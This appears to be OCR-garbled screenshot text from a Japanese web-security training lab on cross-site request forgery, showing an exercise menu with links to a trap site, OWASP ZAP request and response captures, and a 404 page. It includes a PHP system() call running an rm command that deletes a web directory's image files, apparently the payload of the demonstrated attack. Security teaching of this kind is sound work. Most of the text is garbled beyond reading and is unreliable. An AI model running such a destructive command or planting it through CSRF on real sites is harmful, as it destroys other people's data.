45-004 : 7 AL P v FO— BEER)

45-902 :CSRFDE( I FAILF v FO— )

. 45-902 :CSRFE DS

| 25:000 Py FO—E I Loeun 4

. 45-902 :CSRFE DS

e
=]

[H—/\: 45/45-000.php ]

[ Avarfwww/html /45/45-000.php - wasbook@example,jp - IF44 - WinSCP
] @[ ¢ |8 & 8| xF-F- Ot

k2php
system({ “rm /var/wae/html/45/img/*");

<lir4.5.1 &0
<ol>

<li¥<a href="
<li><a href="
<li><a href="
<li><a href="
<li*<a href="
<li><a href="
<li><a href="
<li><a href="
<li><a href="
{li*<a href="
<fol>

AMA b UOTAFZa—2 ) (CSRP) </Ii>

45-001. php">45-001 /{27 — FEE (EEFI</a <1 i>

http: /7 rap. examp le. com/45/45-900 . htm| “>45-900 :CSRFOE (BRI </a></ | i>

http: /7 rap. examp le. com/45/45-901. htm| “>45-901 :CSRFOE(if ramehf) < a></ 1 i>
45-001a. phe ">45-001a:/ 8 A0 — FEBCSREHHR (ERE R <ax</ i

htte: /4t rap. exame le. com/45,/45-900a. htm| "»45-300a: ) $ 2 0 — FEEECSRE SRR (TNEE 1< /ax</ | i>
45-004 . php">45-004 : 7 7L T » FO— FIEBFR)<ax</1i>

http: /7 rap. examp le. com/45/45-902 .htm| “>45-902 :CSRFDE(Z 7L 7 » 70— Fid/ax</i>
img/a. phe >45-902 (CSRFIVEECRESIC /a></ | i>

45-000. phe">45-000 : 7w FO— F 7 7 A ILOFEER a4/ | i>

img/a. phie »45-902 (CORFITEEMIESH /a></ 1 i>

[F59%—->H%—/\: JIIT XL 45-000php — LRARUR ] PyFO—KI774I/LD LBl

W ETtyaY - 20181222-194545 - OWASP ZAP 2.7.0
7Tl BE Fr MU — Lai—b W—l ASA2 ~LT

(mee-r  WiCEBEg 00 00 000 4@V <P POoXERE 96

@ s 4+ [yﬁfwbx&—h[@uallhrgw

& AR R

A==l (Foantea—g @O

FIALNE2— || EE

v axFEAR GET http:/fexample.jp/45/45-000.php HTTR/1.1

v @Hrh Firefox/64.0
¥ | P http://trap.example.com

Accept-Language: ja,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

| P GET:45-902.html Referer: http://example.jp/45/

DNT: 1

Connection: keep-alive

v S mas

v [ ® http:/fexample.jp

B GET:45-000.php Upgrade-Insecure-Requests: 1

Host: example.j
_| ® POST:45-005.php(m pedp
| Fimg

ELN J 3

v Emas Cookie: PHPSESSID=hooghvh3ri4hiobm7tb867fgh7

@ \EI>FFAL User-Agent: Mozilla/S.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Server: nginx/1.10.3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;9=0.8 Content-Type: text/html; charset=UTF-8

HTTP/1.1 200 OK
Date: Sat, 22 Dec 2018 12:24:25 GMT

Content-Length: 0
Connection: keep-alive
X-Powered-By: PHP/5.3.3
X-UA-Compatible: IE=edge
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45-902 :CSRFINE D HEZ

[T554]
e 451 0t - UOTATIA+—x ) (CSRF) <lir4.5.1 SOAYC - USITALT4—2 1) (CSRF) </li>
= - <ol>
1. 45-001 SR~ FZ %
T - CDE‘(_ fiz) <li><a href="http://t rap.examele.com/45/45-900. htm| “>45-900 :CSRFOE (BibhR)</a></1i>
3. 45-901 :CSRFDE(iframeflz) <lir<a href="http://t rap. exanple. con/45/45-901. htm| “>45-901 :CSRFOEIf ramehR) </a></1i>
4. 45-001a:/t R J— REECSRIAFER(IER) <li*<a href="45-001a.php">45-001a:/ 1 A 7 — FEBECIRFHAFRR (IEE ) </ax</ 1 i>
5. 45-900a:) £ J— FZESECSREE SER(E) <l i><a href=:httD:N{ ra;z.examp|e.comf’45r’45;9[][]a.htm|':>45;§|U[Ja:f §7\'7T HEERCERF TR (T < Aar </l i
6. 45004 - T 7Ly TO— F(ESS) <li><a href="45-004.php™>45-004 : 77 )L 7 » FO— FIEER)I 2/ 1i> )
: ) - = <li><a href="http://trap.examp le. com/45/45-902 . htm| ">45-902 (CSRFNE(Z 7L Fw 70— Fi</ax</1i>
7.45-902 :CSRFOE(IFAIILFvITO—F) <li><a href="img/a.php">45-902 :CSRFEEEIRSA /a></i>
8. 45-902 :CSRFIZE DR <li><a href::45-UUU.phe">45-UUU Ve JO— F 7 AR A< i
9. 45-000 :T‘D‘jlj— 7 o )LD EIkE :}Iiia hret="imz/a. php">45-802 :CSRFBIE@EEE%<H3><H| i
10. 45-002 :CSRPZ DR 4 °
[ http://example.jp/45/img/a.php ] CSRFICE ) FERE
W STy Y3y - 20181222-194545 - OWASP ZAP 2.7.0 — O b4

7L |/E FER MU — Lai—b W—l ASA2 LT
EEee—r po@eEs 2@ 000 00D &8y 2<PPOXERE 06 |

@ o[ 4 [?94v0x9—h[=’uﬁﬂhm = AR A

@LEIE [F2anrEa- ] @0 FoankEa— v @0
MEEEea GET http:/fexample.jp/45/img/a.php HTTR/1.1 HTTP/1.1 404 Not Found K
BREDZTFAN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Server: nginx/1.10.3
Firefox/64.0 Date: Sat, 22 Dec 2018 12:38:04 GMT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;g=0.8 Content-Type: text/html; charset=iso-8859-1
Accept-Language: ja,en-US;q=0.7,en;q=0.3 Connection: keep-alive
Accept-Encoding: gzip, deflate
Referer: http:/fexample.jp/45/ < |IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
DNT: 1 <html=<head>
Connection: keep-alive = title=404 Not Found =< /title=
Upgrade-Insecure-Requests: 1 </head=> <body=>
Host: example.jp <h1=Not Found=/h1=
=p=The requested URL /45/img/a.php was not found on this server.</p=
<hr=
< address:Apache/2.4.25 (Debian) Server at example.jp Port 88=/address=
</body=> < /html=> F
v

Jaﬁz]cgﬁiwhwa—h I EREEI=Iar

@ @ | ooaAD @ THAR—+

W [USTAREE | AUy E|URL |RZ—8R3... 4| A7~ 52— K | ST>F MU TE1 4| LA AT YA X | #HFS— |/~ | 52
286 bytes ™ Low

75— RO g g mo BEORAF ¢ 40 G0 20 @0 o 40 Ho




(F35¥%]

<« c @ (@ examplejp/45/img/a.php

Not Found

The requested URL /45/img/a php was not found on this server.

Apache/2.4.25 (Debian) Server at example jp Port 88



